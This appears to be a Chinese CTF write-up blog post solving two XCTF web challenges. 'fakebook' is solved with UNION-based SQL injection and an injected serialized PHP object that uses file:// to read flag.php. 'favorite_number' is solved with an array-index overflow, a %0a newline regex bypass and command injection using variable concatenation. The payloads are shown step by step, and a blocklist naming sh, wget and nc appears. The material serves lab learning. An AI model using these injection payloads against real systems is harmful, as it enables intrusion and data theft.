【攻防世界WEB】难度三星9分入门题(终):fakebook、favorite_number

目录

七、fakebook

解题方法:

过程:

八、favorite_number

解题方法:

过程:


七、fakebook

 

解题方法:

1、寻找注入点,发现反序列化函数,与序列化内容,猜测文件位置

过程:

查看robots.txt文件

发现是一个备份文件


正则匹配:在blog中要匹配到https://


现在再去注册

这个1可以点

 发现进行了传参


考虑是否有:

注入

文件包含

伪协议

…… 


 输入单引号报错 

但是无法闭合

换一种方法尝试

加上and 1=1

(回显正常)

 输入and 1=2

(报错)

 存在注入点


查字段数

order by 4

(回显正常)

 order by 5

(报错)

所以有4个字段


判断回显点

 尝试绕过

/**/union/**/ select /**/1,2,3,4

 发现2是回显点


爆数据库

/**/union/**/ select/**/ 1,database(),3,4

 数据库为fakebook

 


 爆表

-1 /**/union /**/ select/**/ 1,group_concat(table_name) ,3,4 from information_schema.tables where table_schema=database()#

获得了users表


爆字段

 -1 /**/union /**/ select/**/ 1,group_concat(column_name) ,3,4 from information_schema.columns where table_schema="fakebook"#


爆数据

-1 /**/union /**/ select/**/ 1,group_concat(no,'~',data) ,3,4 from fakebook.users#

 没啥有用信息

突然关注到反序列化函数,与这个出现了多次的路径

 


文件路径

/var/www/html/view.php

那么flag的路径也可能是

/var/www/html/flag.php

因为存在反序列化函数,所以我们应该注入序列化语句


使用file:///协议去访问本地计算机文件

-1 /**/union /**/ select /**/1,2 ,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

 

但是没有显示出flag.php内容

很多flag都不显示,而在源码内,Ctrl+U查看源码 

发现一段base64加密字符

PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg==

解密后为

flag{c1e552fdf77049fabf65168f22f7aeab}



八、favorite_number

 

解题方法:

1、源码分析,绕过过滤,flag寻找方法

过程:

进入后就是php代码

代码1:数组

使用$_POST["stuff"]接收数组

并且限制$stuff[0] != 'admin'

可以采用数组下标溢出绕过

stuff[2^32]=admin

$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') { 
    $num= $_POST["num"]; 

代码2:正则匹配

"/^\d+$/im":匹配一串数字,不能有其它字符

/m:多行匹配,有一行匹配成功,preg_match返回true

换行符:0x0a(ascii码),%0a(URL编码)

 if (preg_match("/^\d+$/im",$num)){ 

代码3:过滤关键字

 if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){ 

1、数组:数字下标溢出绕过

2、正则匹配:%0a多行绕过

3、关键字过滤:可以拼接其他命令&&(ascii码0x26,URL编码%26)

构造payload:

stuff[4294967296]=admin&stuff[1]=user&num=123%0als
 


使用bp抓包

 发现通过HackBar提交的内容被编码了

 


使用bp把它再改回原来的payload

然后再发送

 


开始寻找flag

先寻找flag的inode的索引点

payload:

stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /

再通过HackBar提交,再改包

 18497049 flag


读取flag

payload:

stuff[4294967296]=admin&stuff[1]=user&num=123%0atac `find / -inum 18497049`

再通过HackBar提交,再改包

 超时了


换一种方法

因为没过滤$,用变量拼接试试

payload:

stuff[4294967296]=admin&stuff[1]=user&num=1%0aa=f;b=lag;tac /$a$b;

 cyberpeace{7d870124ba11eacef73c2c409588eadf}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值